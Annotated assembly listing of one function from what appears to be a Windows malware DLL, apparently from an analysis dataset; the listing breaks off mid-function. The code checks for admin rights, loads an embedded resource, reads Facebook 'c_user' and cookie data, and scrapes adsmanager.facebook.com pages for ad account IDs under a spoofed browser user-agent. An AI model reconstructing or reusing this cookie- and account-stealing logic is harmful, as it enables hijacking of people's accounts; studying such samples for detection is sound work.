Function at 0x180001664
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get token membership
Reference http user-agent string
Terminate process

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x8b0
mov r12d, 1
cmp edx, r12d
jne 0x180004db0
xor r15d, r15d
mov dword [r11 + 0x20], r15d
mov word [r11 + 0x24], 0x500
lea rax, [r11 - 0x798]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r15d
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
mov r9d, 0x220
lea r8d, [r12 + 0x1f]
mov dl, 2
lea rcx, [r11 + 0x20]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x8e8], eax
cmp eax, r12d
jne 0x180004d58
lea r8, [rsp + 0x8e8]
mov rdx, qword [rsp + 0x140]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
neg eax
sbb ecx, ecx
and dword [rsp + 0x8e8], ecx
mov rcx, qword [rsp + 0x140]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x8e8], r12d
jne 0x180004d58
lea rcx, [rsp + 0x4e8]
call fcn.18000578c
nop
lea r8, [0x1800f849c]
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
je 0x1800017cc
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
lea r8d, [r12 + 9]
lea rdx, [rsp + 0x590]
mov ecx, eax
call fcn.1800c9488
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
je 0x1800017cc
mov dword [rsp + 0x8e8], r15d
lea r8d, [r12 + 3]
mov rdx, rax
lea rcx, [rsp + 0x8e8]
call fcn.1800ab070
lea r8d, [r12 + 9]
lea rdx, [rsp + 0x508]
mov ecx, dword [rsp + 0x8e8]
call fcn.1800c9488
lea rdx, [rsp + 0x508]
jmp 0x1800017d3
lea rdx, [0x1800f84a0]
lea rcx, [rsp + 0x438]
call fcn.180005764
mov rdx, rax
lea rcx, [rsp + 0x4e8]
call fcn.180005744
lea rcx, [rsp + 0x438]
call fcn.1800056e8
call fcn.180079be4
mov dword [rsp + 0x3b8], eax
mov dword [rsp + 0x8f8], r15d
lea rsi, [0x180123240]
mov rcx, rsi
call fcn.180080bfc
lea edx, [r12 + rax]
mov dword [rsp + 0x1a8], edx
lea rcx, [rsp + 0x420]
call fcn.180005260
nop
mov edi, r15d
mov dword [rsp + 0x2d4], r15d
lea r13, [0x1800f85c0]
lea r14, [0x1800f8624]
cmp edi, 0x12c
jge 0x180004d4f
mov ebx, r15d
mov dword [rsp + 0x2d0], ebx
cmp ebx, edx
jge 0x180004b54
lea rcx, [rsp + 0x498]
call fcn.18000578c
nop
lea rcx, [rsp + 0x478]
call fcn.18000578c
nop
lea rcx, [rsp + 0xa0]
call fcn.1800050b0
nop
mov edx, ebx
mov rcx, rsi
call fcn.18007c15c
lea rdx, str.isinstall
lea rcx, [rsp + 0x110]
call fcn.180005764
cmp dword [rsp + 0x3b8], r15d
je 0x180001903
lea r8, [0x1800f84a0]
mov rdx, rax
lea rcx, [rsp + 0xd0]
call fcn.180005c7c
nop
mov r8, rax
lea rdx, [rsp + 0x668]
lea rcx, [rsp + 0xa0]
call fcn.180005cf4
nop
lea rcx, [rsp + 0xd0]
call fcn.180004dd8
nop
jmp 0x180001942
lea r8, [0x1800f84b4]
mov rdx, rax
lea rcx, [rsp + 0xd0]
call fcn.180005c7c
nop
mov r8, rax
lea rdx, [rsp + 0x658]
lea rcx, [rsp + 0xa0]
call fcn.180005cf4
nop
lea rcx, [rsp + 0xd0]
call fcn.180004dd8
nop
lea rcx, [rsp + 0x110]
call fcn.1800056e8
lea rdx, [0x180123258]
lea rcx, [rsp + 0x110]
call fcn.1800057a4
mov rdx, rax
lea rcx, [rsp + 0x168]
call fcn.180077c58
mov rbx, rax
lea rdx, [0x1800f84b8]
lea rcx, [rsp + 0x148]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xd0]
call fcn.180005e48
nop
mov r8, rax
lea rdx, [rsp + 0x618]
lea rcx, [rsp + 0xa0]
call fcn.180005cf4
nop
lea rcx, [rsp + 0xd0]
call fcn.180004dd8
nop
lea rcx, [rsp + 0x148]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x168]
call fcn.1800056e8
lea rdx, [0x1800f84bc]
lea rcx, [rsp + 0x110]
call fcn.180005764
nop
lea r8, [rsp + 0x4e8]
mov rdx, rax
lea rcx, [rsp + 0xd0]
call fcn.180005ecc
nop
mov r8, rax
lea rdx, [rsp + 0x648]
lea rcx, [rsp + 0xa0]
call fcn.180005cf4
nop
lea rcx, [rsp + 0xd0]
call fcn.180004dd8
nop
lea rcx, [rsp + 0x110]
call fcn.1800056e8
lea rdx, str.un_pwd
lea rcx, [rsp + 0x110]
call fcn.180005764
nop
lea r8, [0x1801232e0]
mov rdx, rax
lea rcx, [rsp + 0xd0]
call fcn.180005ecc
nop
mov r8, rax
lea rdx, [rsp + 0x638]
lea rcx, [rsp + 0xa0]
call fcn.180005cf4
nop
lea rcx, [rsp + 0xd0]
call fcn.180004dd8
nop
lea rcx, [rsp + 0x110]
call fcn.1800056e8
mov rcx, rsi
call fcn.180005280
test rax, rax
je 0x18000441a
call fcn.18007f4ec
lea rdx, str.c_user
lea rcx, [rsp + 0x110]
call fcn.180005764
mov r8, rax
lea rdx, [rsp + 0x148]
mov rcx, rsi
call fcn.18007f068
mov rdx, rax
lea rcx, [rsp + 0x498]
call fcn.180005744
lea rcx, [rsp + 0x148]
call fcn.1800056e8
lea rcx, [rsp + 0x498]
call fcn.180005648
test al, al
je 0x1800028f6
lea rcx, [rsp + 0x2b0]
call fcn.18000578c
nop
lea rcx, [rsp + 0x188]
call fcn.18000578c
nop
lea rdx, str.dbln
lea rcx, [rsp + 0x110]
call fcn.180005764
mov r8, rax
lea rdx, [rsp + 0x148]
mov rcx, rsi
call fcn.18007f068
mov rcx, rax
call fcn.180005648
mov bl, al
lea rcx, [rsp + 0x148]
call fcn.1800056e8
test bl, bl
je 0x180001b8c
lea rcx, [rsp + 0x188]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x2b0]
jmp 0x180004415
lea rdx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_116.0.0.0_Safari_537.36
lea rcx, [rsp + 0x378]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x2f8]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x200]
call fcn.180005428
nop
lea rax, [rsp + 0x110]
mov qword [rsp + 0x60], rax
lea rdx, [0x1800f8470]
lea rcx, [rsp + 0x110]
call fcn.180005764
mov rbx, rax
lea rdx, str.https:__www.facebook.com_
lea rcx, [rsp + 0x148]
call fcn.180005428
nop
lea rcx, [rsp + 0x378]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x2f8]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x200]
mov qword [rsp + 0x20], rcx
mov r9, rbx
lea r8, [0x180123290]
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.18000e114
nop
lea rcx, [rsp + 0x200]
call fcn.180005420
nop
lea rcx, [rsp + 0x2f8]
call fcn.180005420
nop
lea rcx, [rsp + 0x378]
call fcn.180005420
lea rdx, str.ed_login_
lea rcx, [rsp + 0x1b0]
call fcn.180005764
mov rdi, rax
lea rdx, str.ice_bas
lea rcx, [rsp + 0x2d8]
call fcn.180005764
mov rbx, rax
lea rdx, str._login_dev
lea rcx, [rsp + 0x398]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x240]
call fcn.180005f40
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x168]
call fcn.180005f40
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.1800055b8
mov rbx, rax
lea rcx, [rsp + 0x168]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x240]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x398]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x2d8]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x1b0]
call fcn.1800056e8
cmp ebx, 0xffffffff
jne 0x180001d43
lea rcx, [rsp + 0xb0]
call fcn.1800056e8
jmp 0x180001b71
movsxd r8, ebx
or r9, 0xffffffffffffffff
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0xb0]
call fcn.180005450
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.180005744
lea rcx, [rsp + 0x1b0]
call fcn.1800056e8
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2d8]
mov qword [rsp + 0x140], rax
mov rdx, r14
lea rcx, [rsp + 0x1b0]
call fcn.180005764
mov r14, rax
lea rdx, [0x1800f8628]
lea rcx, [rsp + 0x2d8]
call fcn.180005764
mov rsi, rax
lea rdx, [0x1800f862c]
lea rcx, [rsp + 0x318]
call fcn.180005764
mov rdi, rax
lea rdx, str.azoe
lea rcx, [rsp + 0x3d0]
call fcn.180005764
mov rbx, rax
lea rdx, [0x1800f8638]
lea rcx, [rsp + 0x398]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x240]
call fcn.180005f40
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x168]
call fcn.180005f40
nop
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rax
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x358]
call fcn.180076bc0
nop
lea rcx, [rsp + 0x240]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x398]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x3d0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x318]
call fcn.1800056e8
lea rax, [rsp + 0x110]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x148]
mov qword [rsp + 0x60], rax
lea rdx, [0x1800f8624]
lea rcx, [rsp + 0x110]
call fcn.180005764
mov r14, rax
lea rdx, [0x1800f8628]
lea rcx, [rsp + 0x148]
call fcn.180005764
mov rsi, rax
lea rdx, [0x1800f863c]
lea rcx, [rsp + 0x1d0]
call fcn.180005764
mov rdi, rax
lea rdx, [0x1800f8470]
lea rcx, [rsp + 0x280]
call fcn.180005764
mov rbx, rax
lea rdx, [0x1800f8640]
lea rcx, [rsp + 0x378]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x2f8]
call fcn.180005f40
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x200]
call fcn.180005f40
nop
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rax
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x80]
call fcn.180076bc0
nop
lea rcx, [rsp + 0x2f8]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x378]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x280]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x1d0]
call fcn.1800056e8
lea rax, [rsp + 0x318]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x60], rax
lea r14, [0x1800f8624]
mov rdx, r14
lea rcx, [rsp + 0x318]
call fcn.180005764
mov rsi, rax
lea rdx, [0x1800f8628]
lea rcx, [rsp + 0x3d0]
call fcn.180005764
mov rdi, rax
lea rdx, str.uid_
lea rcx, [rsp + 0x240]
call fcn.180005764
mov rbx, rax
mov rdx, r14
lea rcx, [rsp + 0x168]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.180005f40
nop
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rax
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x2d8]
call fcn.180076bc0
mov rdx, rax
lea rcx, [rsp + 0x2b0]
call fcn.180005744
lea rcx, [rsp + 0x2d8]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x168]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x240]
call fcn.1800056e8
lea rax, [rsp + 0x318]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x60], rax
mov rdx, r14
lea rcx, [rsp + 0x318]
call fcn.180005764
mov rsi, rax
mov rdx, r14
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rbx, rax
lea rdx, [0x1800f864c]
lea rcx, [rsp + 0x398]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x3d0]
call fcn.180005f40
mov rdi, rax
lea rdx, str.urce_
lea rcx, [rsp + 0x240]
call fcn.180005764
mov rbx, rax
lea rdx, [0x1800f8658]
lea rcx, [rsp + 0x168]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.180005f40
nop
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rax
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x2d8]
call fcn.180076bc0
mov rdx, rax
lea rcx, [rsp + 0x188]
call fcn.180005744
lea rcx, [rsp + 0x2d8]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x168]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x240]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x398]
call fcn.1800056e8
nop
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
lea rdx, [0x1800f865c]
lea rcx, [rsp + 0x168]
call fcn.180005764
mov rsi, rax
lea rdx, [0x1800f8660]
lea rcx, [rsp + 0x2d8]
call fcn.180005764
mov rdi, rax
lea rdx, [0x1800f8470]
lea rcx, [rsp + 0x1b0]
call fcn.180005764
mov rbx, rax
lea rdx, [0x1800f8664]
lea rcx, [rsp + 0x3d0]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x318]
call fcn.180005f40
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0xd0]
call fcn.180005f40
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rsp + 0x220]
call fcn.180005f40
nop
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x318]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x3d0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x1b0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x2d8]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x168]
call fcn.1800056e8
lea rdx, [rsp + 0x358]
lea rcx, [rsp + 0x220]
call fcn.1800056cc
lea rdx, [0x1800f864c]
lea rcx, [rsp + 0x240]
call fcn.180005764
mov rdi, rax
lea rdx, [0x1800f8668]
lea rcx, [rsp + 0x148]
call fcn.180005764
mov rbx, rax
lea rdx, [0x1800f866c]
lea rcx, [rsp + 0x110]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x280]
call fcn.180005f40
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.180005f40
nop
mov rdx, rax
lea rcx, [rsp + 0x220]
call fcn.1800056cc
nop
lea rcx, [rsp + 0x1d0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x280]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x110]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x148]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x240]
call fcn.1800056e8
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x220]
call fcn.1800056cc
lea rdx, [0x1800f8670]
lea rcx, [rsp + 0x240]
call fcn.180005764
mov rdi, rax
lea rdx, [0x1800f8470]
lea rcx, [rsp + 0x148]
call fcn.180005764
mov rbx, rax
lea rdx, [0x1800f8674]
lea rcx, [rsp + 0x110]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x280]
call fcn.180005f40
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.180005f40
nop
mov rdx, rax
lea rcx, [rsp + 0x220]
call fcn.1800056cc
nop
lea rcx, [rsp + 0x1d0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x280]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x110]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x148]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x240]
call fcn.1800056e8
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x220]
call fcn.1800056cc
lea rdx, str.rce
lea rcx, [rsp + 0x110]
call fcn.180005764
mov rbx, rax
lea rdx, str.sou
lea rcx, [rsp + 0x280]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.180005f40
nop
mov rdx, rax
lea rcx, [rsp + 0x220]
call fcn.1800056cc
nop
lea rcx, [rsp + 0x1d0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x280]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x110]
call fcn.1800056e8
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x220]
call fcn.1800056cc
lea rdx, [0x1800f8688]
lea rcx, [rsp + 0x110]
call fcn.180005764
mov rbx, rax
lea rdx, [0x1800f868c]
lea rcx, [rsp + 0x280]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.180005f40
nop
mov rdx, rax
lea rcx, [rsp + 0x220]
call fcn.1800056cc
nop
lea rcx, [rsp + 0x1d0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x280]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x110]
call fcn.1800056e8
lea rsi, [0x180123240]
mov rcx, rsi
call fcn.18000528c
lea rdx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_116.0.0.0_Safari_537.36
lea rcx, [rsp + 0x378]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x2f8]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x200]
call fcn.180005428
nop
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x1d0]
call fcn.1800057a4
mov rbx, rax
lea rdx, [0x1800f8690]
lea rcx, [rsp + 0x280]
call fcn.180005428
nop
lea rcx, [rsp + 0x378]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x2f8]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x200]
mov qword [rsp + 0x20], rcx
mov r9, rbx
lea r8, [0x180123290]
mov rdx, rax
lea rcx, [rsp + 0x260]
call fcn.18000e114
nop
lea rcx, [rsp + 0x200]
call fcn.180005420
nop
lea rcx, [rsp + 0x2f8]
call fcn.180005420
nop
lea rcx, [rsp + 0x378]
call fcn.180005420
lea rdx, [0x1800f86f8]
lea rcx, [rsp + 0x110]
call fcn.180005764
mov rdi, rax
lea rdx, [0x1800f86fc]
lea rcx, [rsp + 0x2d8]
call fcn.180005764
mov rbx, rax
lea rdx, [0x1800f8700]
lea rcx, [rsp + 0x1b0]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x3d0]
call fcn.180005f40
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0xd0]
call fcn.180005f40
mov r8, rax
lea rdx, [rsp + 0x318]
mov rcx, rsi
call fcn.18007f068
mov rcx, rax
call fcn.180005648
mov bl, al
lea rcx, [rsp + 0x318]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x3d0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x1b0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x2d8]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x110]
call fcn.1800056e8
test bl, bl
je 0x18000273b
lea rcx, [rsp + 0x260]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x220]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x80]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x358]
call fcn.1800056e8
jmp 0x180001d31
mov rdx, rsi
lea rcx, [rsp + 0x550]
call fcn.180007d24
mov rsi, rax
lea rdx, [0x1800f8704]
lea rcx, [rsp + 0x2d8]
call fcn.180005764
mov rdi, rax
lea rdx, str.kieJs
lea rcx, [rsp + 0x1b0]
call fcn.180005764
mov rbx, rax
lea rdx, [0x1800f8710]
lea rcx, [rsp + 0x3d0]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x318]
call fcn.180005f40
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0xd0]
call fcn.180005f40
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rsp + 0x110]
call fcn.180005f68
nop
mov r8, rax
lea rdx, [rsp + 0x628]
lea rcx, [rsp + 0xa0]
call fcn.180005fe0
nop
lea rcx, [rsp + 0x110]
call fcn.180004e7c
nop
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x318]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x3d0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x1b0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x2d8]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x550]
call fcn.180001624
lea rdx, str.c_user
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov r8, rax
lea rdx, [rsp + 0x318]
lea rsi, [0x180123240]
mov rcx, rsi
call fcn.18007f068
mov rdx, rax
lea rcx, [rsp + 0x498]
call fcn.180005744
lea rcx, [rsp + 0x318]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x260]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x220]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x80]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x358]
call fcn.1800056e8
nop
lea rcx, [rsp + 0xb0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x188]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x2b0]
call fcn.1800056e8
jmp 0x180002974
mov rdx, rsi
lea rcx, [rsp + 0x540]
call fcn.180007d24
mov rbx, rax
lea rdx, str.cookieJson
lea rcx, [rsp + 0xd0]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.180005f68
nop
mov r8, rax
lea rdx, [rsp + 0x608]
lea rcx, [rsp + 0xa0]
call fcn.180005fe0
nop
lea rcx, [rsp + 0x1d0]
call fcn.180004e7c
nop
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x540]
call fcn.180001624
lea rdx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_116.0.0.0_Safari_537.36
lea rcx, [rsp + 0x200]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x188]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x80]
call fcn.180005428
nop
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x68], rax
lea rdx, [0x1800f8470]
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rbx, rax
lea rdx, str.https:__adsmanager.facebook.com_ads_manager_accounts
lea rcx, [rsp + 0x1d0]
call fcn.180005428
nop
lea rcx, [rsp + 0x200]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x188]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x20], rcx
mov r9, rbx
lea r8, [0x180123290]
mov rdx, rax
lea rcx, [rsp + 0x358]
call fcn.18000e114
nop
lea rcx, [rsp + 0x80]
call fcn.180005420
nop
lea rcx, [rsp + 0x188]
call fcn.180005420
nop
lea rcx, [rsp + 0x200]
call fcn.180005420
lea rdx, str._tbody
lea rcx, [rsp + 0x358]
call fcn.180005574
lea rcx, [rsp + 0x280]
cmp rax, 0xffffffffffffffff
je 0x180004350
mov eax, dword [rsp + 0x8f8]
add eax, r12d
mov dword [rsp + 0x8f8], eax
mov dword [rsp + 0x140], eax
lea rdx, str.accountId
call fcn.180005764
nop
lea r8, [rsp + 0x498]
mov rdx, rax
lea rcx, [rsp + 0x318]
call fcn.180005ecc
nop
mov r8, rax
lea rdx, [rsp + 0x5f8]
lea rcx, [rsp + 0xa0]
call fcn.180005cf4
nop
lea rcx, [rsp + 0x318]
call fcn.180004dd8
nop
lea rcx, [rsp + 0x280]
call fcn.1800056e8
lea rcx, [rsp + 0x420]
call fcn.180005190
lea rax, [rsp + 0x280]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x318]
mov qword [rsp + 0x60], rax
lea rdx, str.__tbody_
lea rcx, [rsp + 0x280]
call fcn.180005764
mov rdi, rax
lea rdx, [0x1800f87cc]
lea rcx, [rsp + 0x318]
call fcn.180005764
mov rbx, rax
lea rdx, str._tbody
lea rcx, [rsp + 0x3d0]
call fcn.180005764
nop
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x358]
lea rcx, [rsp + 0x2b0]
call fcn.180076bc0
nop
mov sil, r15b
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x68], rax
lea rdx, str.__tr_
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rdi, rax
lea rdx, [0x1800f87cc]
lea rcx, [rsp + 0x1d0]
call fcn.180005764
mov rbx, rax
lea rdx, [0x1800f87d8]
lea rcx, [rsp + 0x1b0]
call fcn.180005764
nop
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0xb0]
call fcn.180076bc0
nop
lea rcx, [rsp + 0xb0]
call fcn.180005648
test al, al
jne 0x180002f6f
lea rdx, str.__tr_
lea rcx, [rsp + 0x2b0]
call fcn.180005574
cmp rax, 0xffffffffffffffff
je 0x180002f6f
lea r8, [rax + 3]
or r9, 0xffffffffffffffff
lea rdx, [rsp + 0x2d8]
lea rcx, [rsp + 0x2b0]
call fcn.180005450
mov rdx, rax
lea rcx, [rsp + 0x2b0]
call fcn.180005744
lea rcx, [rsp + 0x2d8]
call fcn.1800056e8
lea rax, [rsp + 0x2d8]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x68], rax
lea rdx, [0x1800f866c]
lea rcx, [rsp + 0x2d8]
call fcn.180005764
mov rdi, rax
lea rdx, [0x1800f864c]
lea rcx, [rsp + 0x110]
call fcn.180005764
mov rbx, rax
lea rdx, str._act
lea rcx, [rsp + 0x148]
call fcn.180005764
nop
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x80]
call fcn.180076bc0
nop
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x420]
call fcn.1800051b4
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x68], rax
lea rdx, str.__td_
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rdi, rax
lea rdx, [0x1800f87ec]
lea rcx, [rsp + 0x1d0]
call fcn.180005764
mov rbx, rax
lea rdx, [0x1800f87f0]
lea rcx, [rsp + 0x1b0]
call fcn.180005764
nop
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x188]
call fcn.180076bc0
nop
lea rdx, str.lastRow
lea rcx, [rsp + 0x188]
call fcn.180005574
cmp rax, 0xffffffffffffffff
je 0x180002e5c
lea rax, [rsp + 0x2d8]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x68], rax
mov rdx, r14
lea rcx, [rsp + 0x2d8]
call fcn.180005764
mov rdi, rax
mov rdx, r14
lea rcx, [rsp + 0x110]
call fcn.180005764
mov rbx, rax
lea rdx, str.data_sort
lea rcx, [rsp + 0x148]
call fcn.180005764
nop
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x200]
call fcn.180076bc0
lea rdx, [0x1800f84b4]
lea rcx, [rsp + 0x200]
call fcn.18000621c
lea rcx, [rsp + 0x200]
test al, al
je 0x180002f46
call fcn.1800056e8
nop
lea rcx, [rsp + 0x188]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x80]
call fcn.1800056e8
nop
lea rcx, [rsp + 0xb0]
call fcn.1800056e8
jmp 0x180002b75
lea rcx, [rsp + 0xb0]
call fcn.1800054d0
cmp rax, 0xffffffffffffffff
je 0x180002f53
or r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0xb0]
call fcn.180005450
nop
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x68], rax
mov rdx, r14
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rdi, rax
mov rdx, r14
lea rcx, [rsp + 0x1d0]
call fcn.180005764
mov rbx, rax
lea rdx, str.data_sort
